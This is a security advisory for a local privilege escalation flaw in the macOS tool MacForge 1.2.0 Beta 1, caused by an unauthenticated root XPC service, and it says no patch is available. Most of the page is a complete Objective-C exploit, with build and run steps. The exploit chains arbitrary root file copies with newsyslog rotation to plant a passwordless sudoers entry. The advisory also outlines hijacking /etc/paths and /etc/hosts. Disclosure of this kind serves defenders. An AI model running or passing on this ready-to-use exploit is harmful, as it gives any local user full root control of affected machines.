MacForge 1.2.0 Beta 1 - Local Privilege Escalation

8,5

High

8,5

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

MacForge 1.2.0 Beta 1 - Local Privilege Escalation via Insecure XPC Service

Code name

State

Public

Release date

3 oct 2025

Affected product

MacForge

Vendor

Mac Enhance

Affected version(s)

1.2.0 Beta 1

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.5

Exploit available

Yes

Description

MacForge version 1.2.0 for macOS contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root. The vulnerability stems from the XPC service com.macenhance.MacForge.Injector.mach, which exposes a method installFramework:atlocation:withReply:. This method can be invoked by any local user without authentication or authorization checks.

An attacker can abuse this method to perform arbitrary file copy operations to any location on the filesystem with root privileges. The resulting file's permissions are the same as the original file. But by chaining this powerful primitive with the standard behavior of the macOS newsyslog utility, an attacker can create a malicious sudoers configuration file, granting them full, passwordless root access.

Vulnerability

The core of the vulnerability lies in the MFInjectorProtocol XPC interface, which does not validate the client connecting to it, allowing any local process to invoke its methods. The installFramework method, intended for installing application frameworks, fails to validate its input paths, effectively becoming an arbitrary file copy function running as root.

This allows a local attacker to:

Exploit 1:

  1. Write arbitrary files to sensitive system locations.

  2. Leverage this file-write primitive to create a malicious newsyslog configuration.

  3. Trigger newsyslog to create a root-owned file with attacker-controlled content.

  4. Place this file in /etc/sudoers.d/ to gain permanent root privileges.

Exploit 2:

  1. Overwrite /etc/paths to add a path to a directory controlled by the attacker and hijack system binaries. (require user interactions)

  2. Overwrite the /etc/hosts file to redirect the traffic to a malicious server. (require user interactions)

PoC

The following Proof of Concept (PoC) demonstrates the escalation from a standard user to root. It is implemented in Objective-C and requires compilation with the Foundation framework.

// gcc  -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m


#import <Foundation/Foundation.h>
#import <unistd.h>

// XPC Protocol from class-dump
@protocol MFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
               atlocation:(NSString *)destPath
                withReply:(void (^)(int result))reply;
@end

static void arbitraryCopy(NSString *src, NSString *dst) {
    NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";

    // Privilege Connection
    NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
                                                                    options:NSXPCConnectionPrivileged];

    // Start Remote Protocol
    conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];
    [conn resume];

    id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
        
    }];

    // Call Install Framework
    // Arbitrary Copy
    [proxy installFramework:src
                  atlocation:dst
                   withReply:^(int result) {
        if (result == 0) {
            // Not Working
            NSLog(@"File copied as root");
        } 
    }];
}


static void createTempFile(NSString *content, NSString *path){

    NSError *error = nil;
    BOOL ok = [content writeToFile:path
                        atomically:YES
                            encoding:NSUTF8StringEncoding
                            error:&error];
    if (ok) {
        NSLog(@"File written at %@", path);
    } else {
        NSLog(@"Error: %@", error);
    }

}


static void initialSetup(NSString *user){

    NSLog(@"Creating /tmp/dummy_log.log");
    // should act as sudoers file later
    NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; 
    NSString *path = @"/tmp/dummy_log.log";

    createTempFile(content, path);

    NSLog(@"Creating /tmp/malicious_newsyslog.conf");
    NSString *content2 = @"# logfile_path             owner:group  mode  count size when  flags\n/var/log/dummy_log.log   root:wheel   0440  1   1   *   B\n";
    NSString *path2 = @"/tmp/malicious_newsyslog.conf";

    createTempFile(content2, path2);

}

static BOOL checkRotateOwnedByRoot(NSString *path) {
    NSFileManager *fm = [NSFileManager defaultManager];
    BOOL exists = [fm fileExistsAtPath:path];

    if (!exists) {
        return NO;
    }

    NSError *error = nil;
    NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];
    if (!attrs) {

        return NO;
    }

    NSString *owner = attrs[NSFileOwnerAccountName];
    NSNumber *ownerUID = attrs[NSFileOwnerAccountID];

    NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID);

    // Verificamos si es root
    if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
        NSLog(@"Is owned by root");
        return YES;
    } else {
        NSLog(@"Not owned by root");
        return NO;
    }
}

BOOL anyLogOrConfigExists(void) {
    NSArray *paths = @[
        @"/var/log/dummy_log.log",
        @"/var/log/dummy_log.log.0",
        @"/var/log/dummy_log.log.1",
        @"/var/log/dummy_log.log.2",
        @"/etc/newsyslog.d/malicious_newsyslog.conf"
    ];

    NSFileManager *fm = [NSFileManager defaultManager];

    for (NSString *path in paths) {
        if ([fm fileExistsAtPath:path]) {
            NSLog(@"The path %@ exists, do cleanup or change filenames", path);
            return YES; // Path exists, should rename paths
        }
    }
    return NO; // Ready to call exploit.
}


int main(int argc, const char * argv[]) {
    @autoreleasepool {

        // Create dummy log containing

        if (anyLogOrConfigExists()){

            return 1;

        }

        // User to add into sudoers
        NSString *user = @"nonroot"; // CHANGE THIS

        NSLog(@"Initial Setup");
        initialSetup(user);


        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");
        arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");


        sleep(1);


        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");
        arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");

        sleep(1);


        NSString *path = @"/var/log/dummy_log.log.0";


        NSLog(@"Waiting for newsyslog to run");

        while(!checkRotateOwnedByRoot(path)){
            sleep(5);
        }

        NSLog(@"Ready to copy to sudoers");

        sleep(1);
        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");
        arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");


        //[[NSRunLoop currentRunLoop] run];
    }
    return 0;
}

Evidence of Exploitation

  • Compile the exploit:

    gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
  • Run the exploit:

    ./priv_esc
  • Trigger newsyslog: The exploit will wait for the automatic execution of newsyslog (which happens hourly by default on macOS). To accelerate, the attacker can manually trigger it from another terminal:

    sudo newsyslog -F
  • Verify privileges: Once the exploit completes, the user nonroot will have passwordless sudo access.

    sudo -u nonroot whoami
    # Expected output: root
  • Newsyslog logs (executed each hour)

  • Exploit

  • Newsyslog config added

  • /var/log/dummy_log.log.0 permissions and content after rotated.

Our security policy

We have reserved the ID CVE-2025-10751 to refer to this issue from now on.

Disclosure policy

System Information

  • MacForge

  • Version 1.2.0 Beta 1

  • Operating System: Mac

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

9 sept 2025

Vulnerability discovered

19 sept 2025

Vendor contacted

3 oct 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.